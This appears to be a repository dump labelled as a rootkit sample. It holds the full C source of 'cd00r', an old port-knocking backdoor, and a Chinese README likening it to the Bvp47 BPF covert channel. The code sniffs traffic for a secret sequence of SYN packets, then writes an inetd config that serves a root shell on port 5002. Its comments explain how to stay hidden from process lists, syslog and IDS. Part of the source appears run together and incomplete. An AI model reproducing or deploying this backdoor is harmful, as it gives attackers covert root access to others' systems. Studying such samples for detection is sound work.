├── README.md ├── cd00r.c └── handle-cd00r-invisible-backdoor_342.pdf /README.md: -------------------------------------------------------------------------------- 1 | # rootkit-sample 2 | Bvp47后门的BPF隐藏信道原理相同的后门样本 3 | -------------------------------------------------------------------------------- /cd00r.c: -------------------------------------------------------------------------------- 1 | /* cdoor.c 2 | * packet coded backdoor 3 | * 4 | * FX of Phenoelit 5 | * http://www.phenoelit.de/ 6 | * (c) 2k 7 | * 8 | * $Id: cd00r.c,v 1.3 2000/06/13 17:32:24 fx Exp fx $ 9 | * 10 | * 11 | 'cd00r.c' is a proof of concept code to test the idea of a 12 | completely invisible (read: not listening) backdoor server. 13 | 14 | Standard backdoors and remote access services have one major problem: 15 | The port's they are listening on are visible on the system console as 16 | well as from outside (by port scanning). 17 | 18 | The approach of cd00r.c is to provide remote access to the system without 19 | showing an open port all the time. This is done by using a sniffer on the 20 | specified interface to capture all kinds of packets. The sniffer is not 21 | running in promiscuous mode to prevent a kernel message in syslog and 22 | detection by programs like AnitSniff. 23 | To activate the real remote access service (the attached code starts an 24 | inetd to listen on port 5002, which will provide a root shell), one has to 25 | send several packets (TCP SYN) to ports on the target system. Which ports 26 | in which order and how many of them can be defined in the source code. 27 | 28 | When port scanning the target, no open port will show up because there is 29 | no service listening. After sending the right SYN packets to the system, 30 | cd00r starts the listener and the port(s) is/are open. One nice side effect 31 | is, that cd00r does not care whenever the port used as code is open or not. 32 | Services running on ports used as code are still fully functional, but it's 33 | not a very good idea to use these ports as explained later. 34 | 35 | The best way to send the required SYN packets to the system is 36 | the use of nmap: 37 | ./nmap -sS -T Polite -p,, 38 | NOTE: the Polite timing ensures, that nmap sends the packets serial as 39 | defined. 40 | 41 | Details: 42 | Prevention of local detection is done by several things: 43 | First of all, the program gives no messages et all. It accepts only one 44 | configurable command line option, which will show error messages for 45 | the sniffer functions and other initialization stuff before 46 | the first fork(). 47 | All configuration is done in the first part of the source code as #defines. 48 | This leaves the target system without configuration files and the process 49 | does not show any command line options in the process table. When renaming 50 | the binary file to something like 'top', it is nearly invisible. 51 | 52 | The sniffer part of the code uses the LBNL libpcap and it's good filter 53 | functionality to prevent uninteresting traffic from entering the much 54 | slower test functions. By selecting higher, usually not used, ports as 55 | part of the code, the sniffer consumes nearly no processing time et all. 56 | 57 | Prevention of remote detection is primary the responsibility of the 58 | 'user'. By selecting more then 8 ports in changing order and in the 59 | higher range (>20000), it is nearly impossible to brute force these 60 | without rendering the system useless. 61 | Several configurable options support the defense against remote attacks: 62 | cd00r can look at the source address and (if defined) resets the code if 63 | a packet from another location arrives. By not using this function, one 64 | can activate the remote shell by sending the right packets from several 65 | systems, hereby flying below the IDS radar. 66 | Another feature is to reset or not reset the list of remaining ports 67 | (code list), if a false packet arrives. On heavy loaded systems this 68 | can happen often and would prevent the authorized sender to activate 69 | the remote shell. Again, when flying below the IDS radar, such 70 | functionality can be counterproductive because the usual way to 71 | prevent detection by an IDS is to send packets with long delays. 72 | 73 | What action cd00r actually takes is open to the user. The function 74 | cdr_open_door() is called without any argument. It fork()s twice 75 | to prevent zombies. Just add your code after the fork()s. 76 | 77 | The functionality outlined in these lines of terrific C source can 78 | be used for booth sides of the security game. If you have a system 79 | somewhere in the wild and you don't like to show open ports (except 80 | the usual httpd ;-) to the world, you may consider some modifications, 81 | so cd00r will provide you with a running ssh. 82 | On the other hand, one may like to create a backchanel, therefor never 83 | providing any kind of listening port on the system. 84 | 85 | Even the use of TCP SYN packets is just an example. Using the sniffer, 86 | one can easily change the opening conditions to something like two SYN, one 87 | ICMP echo request and five UDP packets. I personally like the TCP/SYN stuff 88 | because it has many possible permutations without changing the code. 89 | 90 | Compile it as: 91 | 92 | gcc -o -I/where/ever/bpf -L/where/ever/bpf cd00r.c -lpcap 93 | 94 | of for some debug output: 95 | 96 | gcc -DDEBUG -o -I/where/ever/bpf -L/where/ever/bpf cd00r.c -lpcap 97 | 98 | */ 99 | 100 | 101 | /* cd00r doesn't use command line arguments or a config file, because this 102 | * would provide a pattern to look for on the target systems 103 | * 104 | * instead, we use #defines to specifiy variable parameters such as interface 105 | * to listen on and perhaps the code ports 106 | */ 107 | 108 | /* the interface tp "listen" on */ 109 | #define CDR_INTERFACE "eth0" 110 | /* the address to listen on. Comment out if not desired 111 | * NOTE: if you don't use CDR_ADDRESS, traffic FROM the target host, which 112 | * matches the port code also opens the door*/ 113 | /* #define CDR_ADDRESS "192.168.1.1" */ 114 | 115 | /* the code ports. 116 | * These are the 'code ports', which open (when called in the right order) the 117 | * door (read: call the cdr_open_door() function). 118 | * Use the notation below (array) to specify code ports. Terminate the list 119 | * with 0 - otherwise, you really have problems. 120 | */ 121 | #define CDR_PORTS { 200,80,22,53,3,00 } 122 | 123 | /* This defines that a SYN packet to our address and not to the right port 124 | * causes the code to reset. On systems with permanent access to the internet 125 | * this would cause cd00r to never open, especially if they run some kind of 126 | * server. Additional, if you would like to prevent an IDS from detecting your 127 | * 'unlock' packets as SYN-Scan, you have to delay them. 128 | * On the other hand, not resetting the code means that 129 | * with a short/bad code the chances are good that cd00r unlocks for some 130 | * random traffic or after heavy portscans. If you use CDR_SENDER_ADDR these 131 | * chances are less. 132 | * 133 | * To use resets, define CDR_CODERESET 134 | */ 135 | #define CDR_CODERESET 136 | 137 | /* If you like to open the door from different addresses (e.g. to 138 | * confuse an IDS), don't define this. 139 | * If defined, all SYN packets have to come from the same address. Use 140 | * this when not defining CDR_CODERESET. 141 | */ 142 | #define CDR_SENDER_ADDR 143 | 144 | /* this defines the one and only command line parameter. If given, cd00r 145 | * reports errors befor the first fork() to stderr. 146 | * Hint: don't use more then 3 characters to pervent strings(1) fishing 147 | */ 148 | #define CDR_NOISE_COMMAND "noi" 149 | 150 | 151 | /**************************************************************************** 152 | * Nothing to change below this line (hopefully) 153 | ****************************************************************************/ 154 | #include 155 | #include 156 | #include 157 | #include 158 | #include 159 | #include /* for IPPROTO_bla consts */ 160 | #include /* for inet_ntoa() */ 161 | #include /* for inet_ntoa() */ 162 | #include /* for gethostbyname() */ 163 | #include /* for wait() */ 164 | #include /* for wait() */ 165 | 166 | #include 167 | #include 168 | 169 | #define ETHLENGTH 14 170 | #define IP_MIN_LENGTH 20 171 | #define CAPLENGTH 98 172 | 173 | 174 | 175 | struct iphdr { 176 | u_char ihl:4, /* header length */ 177 | version:4; /* version */ 178 | u_char tos; /* type of service */ 179 | short tot_len; /* total length */ 180 | u_short id; /* identification */ 181 | short off; /* fragment offset field */ 182 | u_char ttl; /* time to live */ 183 | u_char protocol; /* protocol */ 184 | u_short check; /* checksum */ 185 | struct in_addr saddr; 186 | struct in_addr daddr; /* source and dest address */ 187 | }; 188 | 189 | struct tcphdr { 190 | unsigned short int src_port; 191 | unsigned short int dest_port; 192 | unsigned long int seq_num; 193 | unsigned long int ack_num; 194 | unsigned short int rawflags; 195 | unsigned short int window; 196 | long int crc_a_urgent; 197 | long int options_a_padding; 198 | }; 199 | 200 | /* the ports which have to be called (by a TCP SYN packet), before 201 | * cd00r opens 202 | */ 203 | unsigned int cports[] = CDR_PORTS; 204 | int cportcnt = 0; 205 | /* which is the next required port ? */ 206 | int actport = 0; 207 | 208 | #ifdef CDR_SENDER_ADDR 209 | /* some times, looking at sender's address is desired. 210 | * If so, sender's address is saved here */ 211 | struct in_addr sender; 212 | #endif CDR_SENDER_ADDR 213 | 214 | /******** 215 | * cdr_open_door() is called, when all port codes match 216 | * This function can be changed to whatever you like to do when the system 217 | * accepts the code 218 | ********/ 219 | void cdr_open_door(void) { 220 | FILE *f; 221 | 222 | char *args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL}; 223 | 224 | switch (fork()) { 225 | case -1: 226 | #ifdef DEBUG 227 | printf("fork() failed ! Fuck !\n"); 228 | #endif DEBUG 229 | return; 230 | case 0: 231 | /* To prevent zombies (inetd-zombies look quite stupid) we do 232 | * a second fork() */ 233 | switch (fork()) { 234 | case -1: _exit(0); 235 | case 0: /*that's fine */ 236 | break; 237 | default: _exit(0); 238 | } 239 | break; 240 | 241 | default: 242 | wait(NULL); 243 | return; 244 | } 245 | 246 | if ((f=fopen("/tmp/.ind","a+t"))==NULL) return; 247 | fprintf(f,"5002 stream tcp nowait root /bin/sh sh\n"); 248 | fclose(f); 249 | 250 | execv("/usr/sbin/inetd",args); 251 | #ifdef DEBUG 252 | printf("Strange return from execvp() !\n"); 253 | #endif DEBUG 254 | exit (0); 255 | 256 | } 257 | 258 | 259 | /* error function for pcap lib */ 260 | void capterror(pcap_t *caps, char *message) { 261 | pcap_perror(caps,message); 262 | exit (-1); 263 | } 264 | 265 | /* signal counter/handler */ 266 | void signal_handler(int sig) { 267 | /* the ugly way ... */ 268 | _exit(0); 269 | } 270 | 271 | void *smalloc(size_t size) { 272 | void *p; 273 | 274 | if ((p=malloc(size))==NULL) { 275 | exit(-1); 276 | } 277 | memset(p,0,size); 278 | return p; 279 | } 280 | 281 | 282 | /* general rules in main(): 283 | * - errors force an exit without comment to keep the silence 284 | * - errors in the initialization phase can be displayed by a 285 | * command line option 286 | */ 287 | int main (int argc, char **argv) { 288 | 289 | /* variables for the pcap functions */ 290 | #define CDR_BPF_PORT "port " 291 | #define CDR_BPF_ORCON " or " 292 | char pcap_err[PCAP_ERRBUF_SIZE]; /* buffer for pcap errors */ 293 | pcap_t *cap; /* capture handler */ 294 | bpf_u_int32 network,netmask; 295 | struct pcap_pkthdr *phead; 296 | struct bpf_program cfilter; /* the compiled filter */ 297 | struct iphdr *ip; 298 | struct tcphdr *tcp; 299 | u_char *pdata; 300 | /* for filter compilation */ 301 | char *filter; 302 | char portnum[6]; 303 | /* command line */ 304 | int cdr_noise = 0; 305 | /* the usual int i */ 306 | int i; 307 | /* for resolving the CDR_ADDRESS */ 308 | #ifdef CDR_ADDRESS 309 | struct hostent *hent; 310 | #endif CDR_ADDRESS 311 | 312 | 313 | 314 | /* check for the one and only command line argument */ 315 | if (argc>1) { 316 | if (!strcmp(argv[1],CDR_NOISE_COMMAND)) 317 | cdr_noise++; 318 | else 319 | exit (0); 320 | } 321 | 322 | /* resolve our address - if desired */ 323 | #ifdef CDR_ADDRESS 324 | if ((hent=gethostbyname(CDR_ADDRESS))==NULL) { 325 | if (cdr_noise) 326 | fprintf(stderr,"gethostbyname() failed\n"); 327 | exit (0); 328 | } 329 | #endif CDR_ADDRESS 330 | 331 | /* count the ports our user has #defined */ 332 | while (cports[cportcnt++]); 333 | cportcnt--; 334 | #ifdef DEBUG 335 | printf("%d ports used as code\n",cportcnt); 336 | #endif DEBUG 337 | 338 | /* to speed up the capture, we create an filter string to compile. 339 | * For this, we check if the first port is defined and create it's filter, 340 | * then we add the others */ 341 | 342 | if (cports[0]) { 343 | memset(&portnum,0,6); 344 | sprintf(portnum,"%d",cports[0]); 345 | filter=(char *)smalloc(strlen(CDR_BPF_PORT)+strlen(portnum)+1); 346 | strcpy(filter,CDR_BPF_PORT); 347 | strcat(filter,portnum); 348 | } else { 349 | if (cdr_noise) 350 | fprintf(stderr,"NO port code\n"); 351 | exit (0); 352 | } 353 | 354 | /* here, all other ports will be added to the filter string which reads 355 | * like this: 356 | * port <1> or port <2> or port <3> ... 357 | * see tcpdump(1) 358 | */ 359 | 360 | for (i=1;ilen<=(ETHLENGTH+IP_MIN_LENGTH)) continue; 450 | 451 | /* make it an ip packet */ 452 | ip=(struct iphdr *)(pdata+ETHLENGTH); 453 | /* if the packet is not IPv4, continue */ 454 | if ((unsigned char)ip->version!=4) continue; 455 | /* make it TCP */ 456 | tcp=(struct tcphdr *)(pdata+ETHLENGTH+((unsigned char)ip->ihl*4)); 457 | 458 | /* FLAG check's - see rfc793 */ 459 | /* if it isn't a SYN packet, continue */ 460 | if (!(ntohs(tcp->rawflags)&0x02)) continue; 461 | /* if it is a SYN-ACK packet, continue */ 462 | if (ntohs(tcp->rawflags)&0x10) continue; 463 | 464 | #ifdef CDR_ADDRESS 465 | /* if the address is not the one defined above, let it be */ 466 | if (hent) { 467 | #ifdef DEBUG 468 | if (memcmp(&ip->daddr,hent->h_addr_list[0],hent->h_length)) { 469 | printf("Destination address mismatch\n"); 470 | continue; 471 | } 472 | #else 473 | if (memcmp(&ip->daddr,hent->h_addr_list[0],hent->h_length)) 474 | continue; 475 | #endif DEBUG 476 | } 477 | #endif CDR_ADDRESS 478 | 479 | /* it is one of our ports, it is the correct destination 480 | * and it is a genuine SYN packet - let's see if it is the RIGHT 481 | * port */ 482 | if (ntohs(tcp->dest_port)==cports[actport]) { 483 | #ifdef DEBUG 484 | printf("Port %d is good as code part %d\n",ntohs(tcp->dest_port), 485 | actport); 486 | #endif DEBUG 487 | #ifdef CDR_SENDER_ADDR 488 | /* check if the sender is the same */ 489 | if (actport==0) { 490 | memcpy(&sender,&ip->saddr,4); 491 | } else { 492 | if (memcmp(&ip->saddr,&sender,4)) { /* sender is different */ 493 | actport=0; 494 | #ifdef DEBUG 495 | printf("Sender mismatch\n"); 496 | #endif DEBUG 497 | continue; 498 | } 499 | } 500 | #endif CDR_SENDER_ADDR 501 | /* it is the rigth port ... take the next one 502 | * or was it the last ??*/ 503 | if ((++actport)==cportcnt) { 504 | /* BINGO */ 505 | cdr_open_door(); 506 | actport=0; 507 | } /* ups... some more to go */ 508 | } else { 509 | #ifdef CDR_CODERESET 510 | actport=0; 511 | #endif CDR_CODERESET 512 | continue; 513 | } 514 | } /* end of main loop */ 515 | 516 | /* this is actually never reached, because the signal_handler() does the 517 | * exit. 518 | */ 519 | return 0; 520 | } 521 | -------------------------------------------------------------------------------- /handle-cd00r-invisible-backdoor_342.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gojue/rootkit-sample/8eeddcb0a6fead5adebbaf8b5d1481d45da1e6e5/handle-cd00r-invisible-backdoor_342.pdf --------------------------------------------------------------------------------